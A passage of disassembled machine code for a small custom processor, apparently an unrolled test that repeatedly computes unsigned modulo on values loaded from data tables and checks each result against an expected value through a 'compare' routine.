ce0: 10 40 01 08 ld32 r8,r8
ce4: 0d 42 3e 10 wl16 r16,0x11f0
ce8: 0d 60 02 03 wh16 r16,0x3
cec: 10 40 02 10 ld32 r16,r16
cf0: 0d 44 5d 2c wl16 r9,0x22ec
cf4: 0d 60 01 23 wh16 r9,0x3
cf8: 10 40 01 29 ld32 r9,r9
cfc: 00 a0 01 10 umod r8,r16
d00: 20 70 03 e2 movepc rret,8
d04: 14 30 fc c3 br 10 <compare>,#al
d08: 00 10 00 41 add r2,1
d0c: 0d 40 1d 18 wl16 r8,0xf8
d10: 0d 60 01 03 wh16 r8,0x3
d14: 10 40 01 08 ld32 r8,r8
d18: 0d 42 3e 14 wl16 r16,0x11f4
d1c: 0d 60 02 03 wh16 r16,0x3
d20: 10 40 02 10 ld32 r16,r16
d24: 0d 44 5d 30 wl16 r9,0x22f0
d28: 0d 60 01 23 wh16 r9,0x3
d2c: 10 40 01 29 ld32 r9,r9
d30: 00 a0 01 10 umod r8,r16
d34: 20 70 03 e2 movepc rret,8
d38: 14 30 fc b6 br 10 <compare>,#al
d3c: 00 10 00 41 add r2,1
d40: 0d 40 1d 1c wl16 r8,0xfc
d44: 0d 60 01 03 wh16 r8,0x3
d48: 10 40 01 08 ld32 r8,r8
d4c: 0d 42 3e 18 wl16 r16,0x11f8
d50: 0d 60 02 03 wh16 r16,0x3
d54: 10 40 02 10 ld32 r16,r16
d58: 0d 44 5d 34 wl16 r9,0x22f4
d5c: 0d 60 01 23 wh16 r9,0x3
d60: 10 40 01 29 ld32 r9,r9
d64: 00 a0 01 10 umod r8,r16
d68: 20 70 03 e2 movepc rret,8
d6c: 14 30 fc a9 br 10 <compare>,#al
d70: 00 10 00 41 add r2,1
d74: 0d 40 21 00 wl16 r8,0x100
d78: 0d 60 01 03 wh16 r8,0x3
d7c: 10 40 01 08 ld32 r8,r8
d80: 0d 42 3e 1c wl16 r16,0x11fc
d84: 0d 60 02 03 wh16 r16,0x3
d88: 10 40 02 10 ld32 r16,r16
d8c: 0d 44 5d 38 wl16 r9,0x22f8
d90: 0d 60 01 23 wh16 r9,0x3
d94: 10 40 01 29 ld32 r9,r9
d98: 00 a0 01 10 umod r8,r16
d9c: 20 70 03 e2 movepc rret,8
da0: 14 30 fc 9c br 10 <compare>,#al
da4: 00 10 00 41 add r2,1
da8: 0d 40 21 04 wl16 r8,0x104
dac: 0d 60 01 03 wh16 r8,0x3
db0: 10 40 01 08 ld32 r8,r8
db4: 0d 42 42 00 wl16 r16,0x1200
db8: 0d 60 02 03 wh16 r16,0x3
dbc: 10 40 02 10 ld32 r16,r16
dc0: 0d 44 5d 3c wl16 r9,0x22fc
dc4: 0d 60 01 23 wh16 r9,0x3
dc8: 10 40 01 29 ld32 r9,r9
dcc: 00 a0 01 10 umod r8,r16
dd0: 20 70 03 e2 movepc rret,8
dd4: 14 30 fc 8f br 10 <compare>,#al
dd8: 00 10 00 41 add r2,1
ddc: 0d 40 21 08 wl16 r8,0x108
de0: 0d 60 01 03 wh16 r8,0x3
de4: 10 40 01 08 ld32 r8,r8
de8: 0d 42 42 04 wl16 r16,0x1204
dec: 0d 60 02 03 wh16 r16,0x3
df0: 10 40 02 10 ld32 r16,r16
df4: 0d 44 61 20 wl16 r9,0x2300
df8: 0d 60 01 23 wh16 r9,0x3
dfc: 10 40 01 29 ld32 r9,r9
e00: 00 a0 01 10 umod r8,r16
e04: 20 70 03 e2 movepc rret,8
e08: 14 30 fc 82 br 10 <compare>,#al
e0c: 00 10 00 41 add r2,1
e10: 0d 40 21 0c wl16 r8,0x10c
e14: 0d 60 01 03 wh16 r8,0x3
e18: 10 40 01 08 ld32 r8,r8
e1c: 0d 42 42 08 wl16 r16,0x1208
e20: 0d 60 02 03 wh16 r16,0x3
e24: 10 40 02 10 ld32 r16,r16
e28: 0d 44 61 24 wl16 r9,0x2304
e2c: 0d 60 01 23 wh16 r9,0x3
e30: 10 40 01 29 ld32 r9,r9
e34: 00 a0 01 10 umod r8,r16
e38: 20 70 03 e2 movepc rret,8
e3c: 14 30 fc 75 br 10 <compare>,#al
e40: 00 10 00 41 add r2,1
e44: 0d 40 21 10 wl16 r8,0x110
e48: 0d 60 01 03 wh16 r8,0x3
e4c: 10 40 01 08 ld32 r8,r8
e50: 0d 42 42 0c wl16 r16,0x120c
e54: 0d 60 02 03 wh16 r16,0x3
e58: 10 40 02 10 ld32 r16,r16
e5c: 0d 44 61 28 wl16 r9,0x2308
e60: 0d 60 01 23 wh16 r9,0x3
e64: 10 40 01 29 ld32 r9,r9
e68: 00 a0 01 10 umod r8,r16
e6c: 20 70 03 e2 movepc rret,8
e70: 14 30 fc 68 br 10 <compare>,#al
e74: 00 10 00 41 add r2,1
e78: 0d 40 21 14 wl16 r8,0x114
e7c: 0d 60 01 03 wh16 r8,0x3
e80: 10 40 01 08 ld32 r8,r8
e84: 0d 42 42 10 wl16 r16,0x1210
e88: 0d 60 02 03 wh16 r16,0x3
e8c: 10 40 02 10 ld32 r16,r16
e90: 0d 44 61 2c wl16 r9,0x230c
e94: 0d 60 01 23 wh16 r9,0x3
e98: 10 40 01 29 ld32 r9,r9
e9c: 00 a0 01 10 umod r8,r16
ea0: 20 70 03 e2 movepc rret,8
ea4: 14 30 fc 5b br 10 <compare>,#al
ea8: 00 10 00 41 add r2,1
eac: 0d 40 21 18 wl16 r8,0x118
eb0: 0d 60 01 03 wh16 r8,0x3
eb4: 10 40 01 08 ld32 r8,r8
eb8: 0d 42 42 14 wl16 r16,0x1214
ebc: 0d 60 02 03 wh16 r16,0x3
ec0: 10 40 02 10 ld32 r16,r16
ec4: 0d 44 61 30 wl16 r9,0x2310
ec8: 0d 60 01 23 wh16 r9,0x3
ecc: 10 40 01 29 ld32 r9,r9
ed0: 00 a0 01 10 umod r8,r16
ed4: 20 70 03 e2 movepc rret,8
ed8: 14 30 fc 4e br 10 <compare>,#al
edc: 00 10 00 41 add r2,1
ee0: 0d 40 21 1c wl16 r8,0x11c
ee4: 0d 60 01 03 wh16 r8,0x3
ee8: 10 40 01 08 ld32 r8,r8
eec: 0d 42 42 18 wl16 r16,0x1218
ef0: 0d 60 02 03 wh16 r16,0x3
ef4: 10 40 02 10 ld32 r16,r16
ef8: 0d 44 61 34 wl16 r9,0x2314
efc: 0d 60 01 23 wh16 r9,0x3
f00: 10 40 01 29 ld32 r9,r9
f04: 00 a0 01 10 umod r8,r16
f08: 20 70 03 e2 movepc rret,8
f0c: 14 30 fc 41 br 10 <compare>,#al
f10: 00 10 00 41 add r2,1
f14: 0d 40 25 00 wl16 r8,0x120
f18: 0d 60 01 03 wh16 r8,0x3
f1c: 10 40 01 08 ld32 r8,r8
f20: 0d 42 42 1c wl16 r16,0x121c
f24: 0d 60 02 03 wh16 r16,0x3
f28: 10 40 02 10 ld32 r16,r16
f2c: 0d 44 61 38 wl16 r9,0x2318
f30: 0d 60 01 23 wh16 r9,0x3
f34: 10 40 01 29 ld32 r9,r9
f38: 00 a0 01 10 umod r8,r16
f3c: 20 70 03 e2 movepc rret,8
f40: 14 30 fc 34 br 10 <compare>,#al
f44: 00 10 00 41 add r2,1
f48: 0d 40 25 04 wl16 r8,0x124
f4c: 0d 60 01 03 wh16 r8,0x3
f50: 10 40 01 08 ld32 r8,r8
f54: 0d 42 46 00 wl16 r16,0x1220
f58: 0d 60 02 03 wh16 r16,0x3
f5c: 10 40 02 10 ld32 r16,r16
f60: 0d 44 61 3c wl16 r9,0x231c
f64: 0d 60 01 23 wh16 r9,0x3
f68: 10 40 01 29 ld32 r9,r9
f6c: 00 a0 01 10 umod r8,r16
f70: 20 70 03 e2 movepc rret,8
f74: 14 30 fc 27 br 10 <compare>,#al
f78: 00 10 00 41 add r2,1
f7c: 0d 40 25 08 wl16 r8,0x128
f80: 0d 60 01 03 wh16 r8,0x3
f84: 10 40 01 08 ld32 r8,r8
f88: 0d 42 46 04 wl16 r16,0x1224
f8c: 0d 60 02 03 wh16 r16,0x3
f90: 10 40 02 10 ld32 r16,r16
f94: 0d 44 65 20 wl16 r9,0x2320
f98: 0d 60 01 23 wh16 r9,0x3
f9c: 10 40 01 29 ld32 r9,r9
fa0: 00 a0 01 10 umod r8,r16
fa4: 20 70 03 e2 movepc rret,8
fa8: 14 30 fc 1a br 10 <compare>,#al
fac: 00 10 00 41 add r2,1
fb0: 0d 40 25 0c wl16 r8,0x12c
fb4: 0d 60 01 03 wh16 r8,0x3
fb8: 10 40 01 08 ld32 r8,r8
fbc: 0d 42 46 08 wl16 r16,0x1228
fc0: 0d 60 02 03 wh16 r16,0x3
fc4: 10 40 02 10 ld32 r16,r16
fc8: 0d 44 65 24 wl16 r9,0x2324
fcc: 0d 60 01 23 wh16 r9,0x3
fd0: 10 40 01 29 ld32 r9,r9
fd4: 00 a0 01 10 umod r8,r16
fd8: 20 70 03 e2 movepc rret,8
fdc: 14 30 fc 0d br 10 <compare>,#al
fe0: 00 10 00 41 add r2,1
fe4: 0d 40 25 10 wl16 r8,0x130
fe8: 0d 60 01 03 wh16 r8,0x3
fec: 10 40 01 08 ld32 r8,r8
ff0: 0d 42 46 0c wl16 r16,0x122c
ff4: 0d 60 02 03 wh16 r16,0x3
ff8: 10 40 02 10 ld32 r16,r16
ffc: 0d 44 65 28 wl16 r9,0x2328
1000: 0d 60 01 23 wh16 r9,0x3
1004: 10 40 01 29 ld32 r9,r9
1008: 00 a0 01 10 umod r8,r16
100c: 20 70 03 e2 movepc rret,8
1010: 14 30 fc 00 br 10 <compare>,#al
1014: 00 10 00 41 add r2,1
1018: 0d 40 25 14 wl16 r8,0x134
101c: 0d 60 01 03 wh16 r8,0x3
1020: 10 40 01 08 ld32 r8,r8
1024: 0d 42 46 10 wl16 r16,0x1230
1028: 0d 60 02 03 wh16 r16,0x3
102c: 10 40 02 10 ld32 r16,r16
1030: 0d 44 65 2c wl16 r9,0x232c
1034: 0d 60 01 23 wh16 r9,0x3
1038: 10 40 01 29 ld32 r9,r9
103c: 00 a0 01 10 umod r8,r16
1040: 20 70 03 e2 movepc rret,8
1044: 14 30 fb f3 br 10 <compare>,#al
1048: 00 10 00 41 add r2,1
104c: 0d 40 25 18 wl16 r8,0x138
1050: 0d 60 01 03 wh16 r8,0x3
1054: 10 40 01 08 ld32 r8,r8
1058: 0d 42 46 14 wl16 r16,0x1234
105c: 0d 60 02 03 wh16 r16,0x3
1060: 10 40 02 10 ld32 r16,r16
1064: 0d 44 65 30 wl16 r9,0x2330
1068: 0d 60 01 23 wh16 r9,0x3
106c: 10 40 01 29 ld32 r9,r9
1070: 00 a0 01 10 umod r8,r16
1074: 20 70 03 e2 movepc rret,8
1078: 14 30 fb e6 br 10 <compare>,#al
107c: 00 10 00 41 add r2,1
1080: 0d 40 25 1c wl16 r8,0x13c
1084: 0d 60 01 03 wh16 r8,0x3
1088: 10 40 01 08 ld32 r8,r8
108c: 0d 42 46 18 wl16 r16,0x1238
1090: 0d 60 02 03 wh16 r16,0x3
1094: 10 40 02 10 ld32 r16,r16
1098: 0d 44 65 34 wl16 r9,0x2334
109c: 0d 60 01 23 wh16 r9,0x3
10a0: 10 40 01 29 ld32 r9,r9
10a4: 00 a0 01 10 umod r8,r16
10a8: 20 70 03 e2 movepc rret,8
10ac: 14 30 fb d9 br 10 <compare>,#al
10b0: 00 10 00 41 add r2,1
10b4: 0d 40 29 00 wl16 r8,0x140
10b8: 0d 60 01 03 wh16 r8,0x3
10bc: 10 40 01 08 ld32 r8,r8
10c0: 0d 42 46 1c wl16 r16,0x123c
10c4: 0d 60 02 03 wh16 r16,0x3
10c8: 10 40 02 10 ld32 r16,r16
10cc: 0d 44 65 38 wl16 r9,0x2338
10d0: 0d 60 01 23 wh16 r9,0x3
10d4: 10 40 01 29 ld32 r9,r9
10d8: 00 a0 01 10 umod r8,r16
10dc: 20 70 03 e2 movepc rret,8
10e0: 14 30 fb cc br 10 <compare>,#al
10e4: 00 10 00 41 add r2,1
10e8: 0d 40 29 04 wl16 r8,0x144
10ec: 0d 60 01 03 wh16 r8,0x3
10f0: 10 40 01 08 ld32 r8,r8
10f4: 0d 42 4a 00 wl16 r16,0x1240
10f8: 0d 60 02 03 wh16 r16,0x3
10fc: 10 40 02 10 ld32 r16,r16
1100: 0d 44 65 3c wl16 r9,0x233c
1104: 0d 60 01 23 wh16 r9,0x3
1108: 10 40 01 29 ld32 r9,r9
110c: 00 a0 01 10 umod r8,r16
1110: 20 70 03 e2 movepc rret,8
1114: 14 30 fb bf br 10 <compare>,#al
1118: 00 10 00 41 add r2,1
111c: 0d 40 29 08 wl16 r8,0x148
1120: 0d 60 01 03 wh16 r8,0x3
1124: 10 40 01 08 ld32 r8,r8
1128: 0d 42 4a 04 wl16 r16,0x1244
112c: 0d 60 02 03 wh16 r16,0x3
1130: 10 40 02 10 ld32 r16,r16
1134: 0d 44 69 20 wl16 r9,0x2340
1138: 0d 60 01 23 wh16 r9,0x3
113c: 10 40 01 29 ld32 r9,r9
1140: 00 a0 01 10 umod r8,r16
1144: 20 70 03 e2 movepc rret,8
1148: 14 30 fb b2 br 10 <compare>,#al
114c: 00 10 00 41 add r2,1
1150: 0d 40 29 0c wl16 r8,0x14c
1154: 0d 60 01 03 wh16 r8,0x3
1158: 10 40 01 08 ld32 r8,r8
115c: 0d 42 4a 08 wl16 r16,0x1248
1160: 0d 60 02 03 wh16 r16,0x3
1164: 10 40 02 10 ld32 r16,r16
1168: 0d 44 69 24 wl16 r9,0x2344
116c: 0d 60 01 23 wh16 r9,0x3
1170: 10 40 01 29 ld32 r9,r9
1174: 00 a0 01 10 umod r8,r16
1178: 20 70 03 e2 movepc rret,8
117c: 14 30 fb a5 br 10 <compare>,#al
1180: 00 10 00 41 add r2,1
1184: 0d 40 29 10 wl16 r8,0x150
1188: 0d 60 01 03 wh16 r8,0x3
118c: 10 40 01 08 ld32 r8,r8
1190: 0d 42 4a 0c wl16 r16,0x124c
1194: 0d 60 02 03 wh16 r16,0x3
1198: 10 40 02 10 ld32 r16,r16
119c: 0d 44 69 28 wl16 r9,0x2348
11a0: 0d 60 01 23 wh16 r9,0x3
11a4: 10 40 01 29 ld32 r9,r9
11a8: 00 a0 01 10 umod r8,r16
11ac: 20 70 03 e2 movepc rret,8
11b0: 14 30 fb 98 br 10 <compare>,#al
11b4: 00 10 00 41 add r2,1
11b8: 0d 40 29 14 wl16 r8,0x154
11bc: 0d 60 01 03 wh16 r8,0x3
11c0: 10 40 01 08 ld32 r8,r8
11c4: 0d 42 4a 10 wl16 r16,0x1250
11c8: 0d 60 02 03 wh16 r16,0x3
11cc: 10 40 02 10 ld32 r16,r16
11d0: 0d 44 69 2c wl16 r9,0x234c
11d4: 0d 60 01 23 wh16 r9,0x3
11d8: 10 40 01 29 ld32 r9,r9
11dc: 00 a0 01 10 umod r8,r16
11e0: 20 70 03 e2 movepc rret,8
11e4: 14 30 fb 8b br 10 <compare>,#al
11e8: 00 10 00 41 add r2,1
11ec: 0d 40 29 18 wl16 r8,0x158
11f0: 0d 60 01 03 wh16 r8,0x3
11f4: 10 40 01 08 ld32 r8,r8
11f8: 0d 42 4a 14 wl16 r16,0x1254
11fc: 0d 60 02 03 wh16 r16,0x3
1200: 10 40 02 10 ld32 r16,r16
1204: 0d 44 69 30 wl16 r9,0x2350
1208: 0d 60 01 23 wh16 r9,0x3
120c: 10 40 01 29 ld32 r9,r9
1210: 00 a0 01 10 umod r8,r16
1214: 20 70 03 e2 movepc rret,8
1218: 14 30 fb 7e br 10 <compare>,#al
121c: 00 10 00 41 add r2,1
1220: 0d 40 29 1c wl16 r8,0x15c
1224: 0d 60 01 03 wh16 r8,0x3
1228: 10 40 01 08 ld32 r8,r8
122c: 0d 42 4a 18 wl16 r16,0x1258
1230: 0d 60 02 03 wh16 r16,0x3
1234: 10 40 02 10 ld32 r16,r16
1238: 0d 44 69 34 wl16 r9,0x2354
123c: 0d 60 01 23 wh16 r9,0x3
1240: 10 40 01 29 ld32 r9,r9
1244: 00 a0 01 10 umod r8,r16
1248: 20 70 03 e2 movepc rret,8
124c: 14 30 fb 71 br 10 <compare>,#al
1250: 00 10 00 41 add r2,1
1254: 0d 40 2d 00 wl16 r8,0x160
1258: 0d 60 01 03 wh16 r8,0x3
125c: 10 40 01 08 ld32 r8,r8
1260: 0d 42 4a 1c wl16 r16,0x125c
1264: 0d 60 02 03 wh16 r16,0x3
1268: 10 40 02 10 ld32 r16,r16
126c: 0d 44 69 38 wl16 r9,0x2358
1270: 0d 60 01 23 wh16 r9,0x3
1274: 10 40 01 29 ld32 r9,r9
1278: 00 a0 01 10 umod r8,r16
127c: 20 70 03 e2 movepc rret,8
1280: 14 30 fb 64 br 10 <compare>,#al
1284: 00 10 00 41 add r2,1
1288: 0d 40 2d 04 wl16 r8,0x164
128c: 0d 60 01 03 wh16 r8,0x3
1290: 10 40 01 08 ld32 r8,r8
1294: 0d 42 4e 00 wl16 r16,0x1260
1298: 0d 60 02 03 wh16 r16,0x3
129c: 10 40 02 10 ld32 r16,r16
12a0: 0d 44 69 3c wl16 r9,0x235c
12a4: 0d 60 01 23 wh16 r9,0x3
12a8: 10 40 01 29 ld32 r9,r9
12ac: 00 a0 01 10 umod r8,r16
12b0: 20 70 03 e2 movepc rret,8
12b4: 14 30 fb 57 br 10 <compare>,#al
12b8: 00 10 00 41 add r2,1
12bc: 0d 40 2d 08 wl16 r8,0x168
12c0: 0d 60 01 03 wh16 r8,0x3
12c4: 10 40 01 08 ld32 r8,r8
12c8: 0d 42 4e 04 wl16 r16,0x1264
12cc: 0d 60 02 03 wh16 r16,0x3
12d0: 10 40 02 10 ld32 r16,r16
12d4: 0d 44 6d 20 wl16 r9,0x2360
12d8: 0d 60 01 23 wh16 r9,0x3
12dc: 10 40 01 29 ld32 r9,r9
12e0: 00 a0 01 10 umod r8,r16
12e4: 20 70 03 e2 movepc rret,8
12e8: 14 30 fb 4a br 10 <compare>,#al
12ec: 00 10 00 41 add r2,1
12f0: 0d 40 2d 0c wl16 r8,0x16c
12f4: 0d 60 01 03 wh16 r8,0x3
12f8: 10 40 01 08 ld32 r8,r8
12fc: 0d 42 4e 08 wl16 r16,0x1268
1300: 0d 60 02 03 wh16 r16,0x3
1304: 10 40 02 10 ld32 r16,r16
1308: 0d 44 6d 24 wl16 r9,0x2364
130c: 0d 60 01 23 wh16 r9,0x3
1310: 10 40 01 29 ld32 r9,r9
1314: 00 a0 01 10 umod r8,r16
1318: 20 70 03 e2 movepc rret,8
131c: 14 30 fb 3d br 10 <compare>,#al
1320: 00 10 00 41 add r2,1
1324: 0d 40 2d 10 wl16 r8,0x170
1328: 0d 60 01 03 wh16 r8,0x3
132c: 10 40 01 08 ld32 r8,r8
1330: 0d 42 4e 0c wl16 r16,0x126c
1334: 0d 60 02 03 wh16 r16,0x3
1338: 10 40 02 10 ld32 r16,r16
133c: 0d 44 6d 28 wl16 r9,0x2368
1340: 0d 60 01 23 wh16 r9,0x3
1344: 10 40 01 29 ld32 r9,r9
1348: 00 a0 01 10 umod r8,r16
134c: 20 70 03 e2 movepc rret,8
1350: 14 30 fb 30 br 10 <compare>,#al
1354: 00 10 00 41 add r2,1
1358: 0d 40 2d 14 wl16 r8,0x174
135c: 0d 60 01 03 wh16 r8,0x3
1360: 10 40 01 08 ld32 r8,r8
1364: 0d 42 4e 10 wl16 r16,0x1270
1368: 0d 60 02 03 wh16 r16,0x3
136c: 10 40 02 10 ld32 r16,r16
1370: 0d 44 6d 2c wl16 r9,0x236c
1374: 0d 60 01 23 wh16 r9,0x3
1378: 10 40 01 29 ld32 r9,r9
137c: 00 a0 01 10 umod r8,r16
1380: 20 70 03 e2 movepc rret,8
1384: 14 30 fb 23 br 10 <compare>,#al
1388: 00 10 00 41 add r2,1
138c: 0d 40 2d 18 wl16 r8,0x178
1390: 0d 60 01 03 wh16 r8,0x3
1394: 10 40 01 08 ld32 r8,r8
1398: 0d 42 4e 14 wl16 r16,0x1274
139c: 0d 60 02 03 wh16 r16,0x3
13a0: 10 40 02 10 ld32 r16,r16
13a4: 0d 44 6d 30 wl16 r9,0x2370
13a8: 0d 60 01 23 wh16 r9,0x3
13ac: 10 40 01 29 ld32 r9,r9
13b0: 00 a0 01 10 umod r8,r16
13b4: 20 70 03 e2 movepc rret,8
13b8: 14 30 fb 16 br 10 <compare>,#al
13bc: 00 10 00 41 add r2,1
13c0: 0d 40 2d 1c wl16 r8,0x17c
13c4: 0d 60 01 03 wh16 r8,0x3
13c8: 10 40 01 08 ld32 r8,r8
13cc: 0d 42 4e 18 wl16 r16,0x1278
13d0: 0d 60 02 03 wh16 r16,0x3
13d4: 10 40 02 10 ld32 r16,r16
13d8: 0d 44 6d 34 wl16 r9,0x2374
13dc: 0d 60 01 23 wh16 r9,0x3
13e0: 10 40 01 29 ld32 r9,r9
13e4: 00 a0 01 10 umod r8,r16
13e8: 20 70 03 e2 movepc rret,8
13ec: 14 30 fb 09 br 10 <compare>,#al
13f0: 00 10 00 41 add r2,1
13f4: 0d 40 31 00 wl16 r8,0x180
13f8: 0d 60 01 03 wh16 r8,0x3
13fc: 10 40 01 08 ld32 r8,r8
1400: 0d 42 4e 1c wl16 r16,0x127c
1404: 0d 60 02 03 wh16 r16,0x3
1408: 10 40 02 10 ld32 r16,r16
140c: 0d 44 6d 38 wl16 r9,0x2378
1410: 0d 60 01 23 wh16 r9,0x3
1414: 10 40 01 29 ld32 r9,r9
1418: 00 a0 01 10 umod r8,r16
141c: 20 70 03 e2 movepc rret,8
1420: 14 30 fa fc br 10 <compare>,#al
1424: 00 10 00 41 add r2,1
1428: 0d 40 31 04 wl16 r8,0x184
142c: 0d 60 01 03 wh16 r8,0x3
1430: 10 40 01 08 ld32 r8,r8
1434: 0d 42 52 00 wl16 r16,0x1280
1438: 0d 60 02 03 wh16 r16,0x3
143c: 10 40 02 10 ld32 r16,r16
1440: 0d 44 6d 3c wl16 r9,0x237c
1444: 0d 60 01 23 wh16 r9,0x3
1448: 10 40 01 29 ld32 r9,r9
144c: 00 a0 01 10 umod r8,r16
1450: 20 70 03 e2 movepc rret,8
1454: 14 30 fa ef br 10 <compare>,#al
1458: 00 10 00 41 add r2,1
145c: 0d 40 31 08 wl16 r8,0x188
1460: 0d 60 01 03 wh16 r8,0x3
1464: 10 40 01 08 ld32 r8,r8
1468: 0d 42 52 04 wl16 r16,0x1284
146c: 0d 60 02 03 wh16 r16,0x3
1470: 10 40 02 10 ld32 r16,r16
1474: 0d 44 71 20 wl16 r9,0x2380
1478: 0d 60 01 23 wh16 r9,0x3
147c: 10 40 01 29 ld32 r9,r9
1480: 00 a0 01 10 umod r8,r16
1484: 20 70 03 e2 movepc rret,8
1488: 14 30 fa e2 br 10 <compare>,#al
148c: 00 10 00 41 add r2,1
1490: 0d 40 31 0c wl16 r8,0x18c
1494: 0d 60 01 03 wh16 r8,0x3
1498: 10 40 01 08 ld32 r8,r8
149c: 0d 42 52 08 wl16 r16,0x1288
14a0: 0d 60 02 03 wh16 r16,0x3
14a4: 10 40 02 10 ld32 r16,r16
14a8: 0d 44 71 24 wl16 r9,0x2384
14ac: 0d 60 01 23 wh16 r9,0x3
14b0: 10 40 01 29 ld32 r9,r9
14b4: 00 a0 01 10 umod r8,r16
14b8: 20 70 03 e2 movepc rret,8
14bc: 14 30 fa d5 br 10 <compare>,#al
14c0: 00 10 00 41 add r2,1
14c4: 0d 40 31 10 wl16 r8,0x190
14c8: 0d 60 01 03 wh16 r8,0x3
14cc: 10 40 01 08 ld32 r8,r8
14d0: 0d 42 52 0c wl16 r16,0x128c
14d4: 0d 60 02 03 wh16 r16,0x3
14d8: 10 40 02 10 ld32 r16,r16
14dc: 0d 44 71 28 wl16 r9,0x2388
14e0: 0d 60 01 23 wh16 r9,0x3
14e4: 10 40 01 29 ld32 r9,r9
14e8: 00 a0 01 10 umod r8,r16
14ec: 20 70 03 e2 movepc rret,8
14f0: 14 30 fa c8 br 10 <compare>,#al
14f4: 00 10 00 41 add r2,1
14f8: 0d 40 31 14 wl16 r8,0x194
14fc: 0d 60 01 03 wh16 r8,0x3
1500: 10 40 01 08 ld32 r8,r8
1504: 0d 42 52 10 wl16 r16,0x1290
1508: 0d 60 02 03 wh16 r16,0x3
150c: 10 40 02 10 ld32 r16,r16
1510: 0d 44 71 2c wl16 r9,0x238c
1514: 0d 60 01 23 wh16 r9,0x3
1518: 10 40 01 29 ld32 r9,r9
151c: 00 a0 01 10 umod r8,r16
1520: 20 70 03 e2 movepc rret,8
1524: 14 30 fa bb br 10 <compare>,#al
1528: 00 10 00 41 add r2,1
152c: 0d 40 31 18 wl16 r8,0x198
1530: 0d 60 01 03 wh16 r8,0x3
1534: 10 40 01 08 ld32 r8,r8
1538: 0d 42 52 14 wl16 r16,0x1294
153c: 0d 60 02 03 wh16 r16,0x3
1540: 10 40 02 10 ld32 r16,r16
1544: 0d 44 71 30 wl16 r9,0x2390
1548: 0d 60 01 23 wh16 r9,0x3
154c: 10 40 01 29 ld32 r9,r9
1550: 00 a0 01 10 umod r8,r16
1554: 20 70 03 e2 movepc rret,8
1558: 14 30 fa ae br 10 <compare>,#al
155c: 00 10 00 41 add r2,1
1560: 0d 40 31 1c wl16 r8,0x19c
1564: 0d 60 01 03 wh16 r8,0x3
1568: 10 40 01 08 ld32 r8,r8
156c: 0d 42 52 18 wl16 r16,0x1298
1570: 0d 60 02 03 wh16 r16,0x3
1574: 10 40 02 10 ld32 r16,r16
1578: 0d 44 71 34 wl16 r9,0x2394
157c: 0d 60 01 23 wh16 r9,0x3
1580: 10 40 01 29 ld32 r9,r9
1584: 00 a0 01 10 umod r8,r16
1588: 20 70 03 e2 movepc rret,8
158c: 14 30 fa a1 br 10 <compare>,#al
1590: 00 10 00 41 add r2,1
1594: 0d 40 35 00 wl16 r8,0x1a0
1598: 0d 60 01 03 wh16 r8,0x3
159c: 10 40 01 08 ld32 r8,r8
15a0: 0d 42 52 1c wl16 r16,0x129c
15a4: 0d 60 02 03 wh16 r16,0x3
15a8: 10 40 02 10 ld32 r16,r16
15ac: 0d 44 71 38 wl16 r9,0x2398
15b0: 0d 60 01 23 wh16 r9,0x3
15b4: 10 40 01 29 ld32 r9,r9
15b8: 00 a0 01 10 umod r8,r16
15bc: 20 70 03 e2 movepc rret,8
15c0: 14 30 fa 94 br 10 <compare>,#al
15c4: 00 10 00 41 add r2,1
15c8: 0d 40 35 04 wl16 r8,0x1a4
15cc: 0d 60 01 03 wh16 r8,0x3
15d0: 10 40 01 08 ld32 r8,r8
15d4: 0d 42 56 00 wl16 r16,0x12a0
15d8: 0d 60 02 03 wh16 r16,0x3
15dc: 10 40 02 10 ld32 r16,r16
15e0: 0d 44 71 3c wl16 r9,0x239c
15e4: 0d 60 01 23 wh16 r9,0x3
15e8: 10 40 01 29 ld32 r9,r9
15ec: 00 a0 01 10 umod r8,r16
15f0: 20 70 03 e2 movepc rret,8
15f4: 14 30 fa 87 br 10 <compare>,#al
15f8: 00 10 00 41 add r2,1
15fc: 0d 40 35 08 wl16 r8,0x1a8
1600: 0d 60 01 03 wh16 r8,0x3
1604: 10 40 01 08 ld32 r8,r8
1608: 0d 42 56 04 wl16 r16,0x12a4
160c: 0d 60 02 03 wh16 r16,0x3
1610: 10 40 02 10 ld32 r16,r16
1614: 0d 44 75 20 wl16 r9,0x23a0
1618: 0d 60 01 23 wh16 r9,0x3
161c: 10 40 01 29 ld32 r9,r9
1620: 00 a0 01 10 umod r8,r16
1624: 20 70 03 e2 movepc rret,8
1628: 14 30 fa 7a br 10 <compare>,#al
162c: 00 10 00 41 add r2,1
1630: 0d 40 35 0c wl16 r8,0x1ac
1634: 0d 60 01 03 wh16 r8,0x3
1638: 10 40 01 08 ld32 r8,r8
163c: 0d 42 56 08 wl16 r16,0x12a8
1640: 0d 60 02 03 wh16 r16,0x3
1644: 10 40 02 10 ld32 r16,r16
1648: 0d 44 75 24 wl16 r9,0x23a4
164c: 0d 60 01 23 wh16 r9,0x3
1650: 10 40 01 29 ld32 r9,r9
1654: 00 a0 01 10 umod r8,r16
1658: 20 70 03 e2 movepc rret,8
165c: 14 30 fa 6d br 10 <compare>,#al
1660: 00 10 00 41 add r2,1
1664: 0d 40 35 10 wl16 r8,0x1b0
1668: 0d 60 01 03 wh16 r8,0x3
166c: 10 40 01 08 ld32 r8,r8
1670: 0d 42 56 0c wl16 r16,0x12ac
1674: 0d 60 02 03 wh16 r16,0x3
1678: 10 40 02 10 ld32 r16,r16
167c: 0d 44 75 28 wl16 r9,0x23a8
1680: 0d 60 01 23 wh16 r9,0x3
1684: 10 40 01 29 ld32 r9,r9
1688: 00 a0 01 10 umod r8,r16
168c: 20 70 03 e2 movepc rret,8
1690: 14 30 fa 60 br 10 <compare>,#al
1694: 00 10 00 41 add r2,1
1698: 0d 40 35 14 wl16 r8,0x1b4
169c: 0d 60 01 03 wh16 r8,0x3
16a0: 10 40 01 08 ld32 r8,r8
16a4: 0d 42 56 10 wl16 r16,0x12b0
16a8: 0d 60 02 03 wh16 r16,0x3
16ac: 10 40 02 10 ld32 r16,r16
16b0: 0d 44 75 2c wl16 r9,0x23ac
16b4: 0d 60 01 23 wh16 r9,0x3
16b8: 10 40 01 29 ld32 r9,r9
16bc: 00 a0 01 10 umod r8,r16
16c0: 20 70 03 e2 movepc rret,8
16c4: 14 30 fa 53 br 10 <compare>,#al
16c8: 00 10 00 41 add r2,1
16cc: 0d 40 35 18 wl16 r8,0x1b8
16d0: 0d 60 01 03 wh16 r8,0x3
16d4: 10 40 01 08 ld32 r8,r8
16d8: 0d 42 56 14 wl16 r16,0x12b4
16dc: 0d 60 02 03 wh16 r16,0x3
16e0: 10 40 02 10 ld32 r16,r16
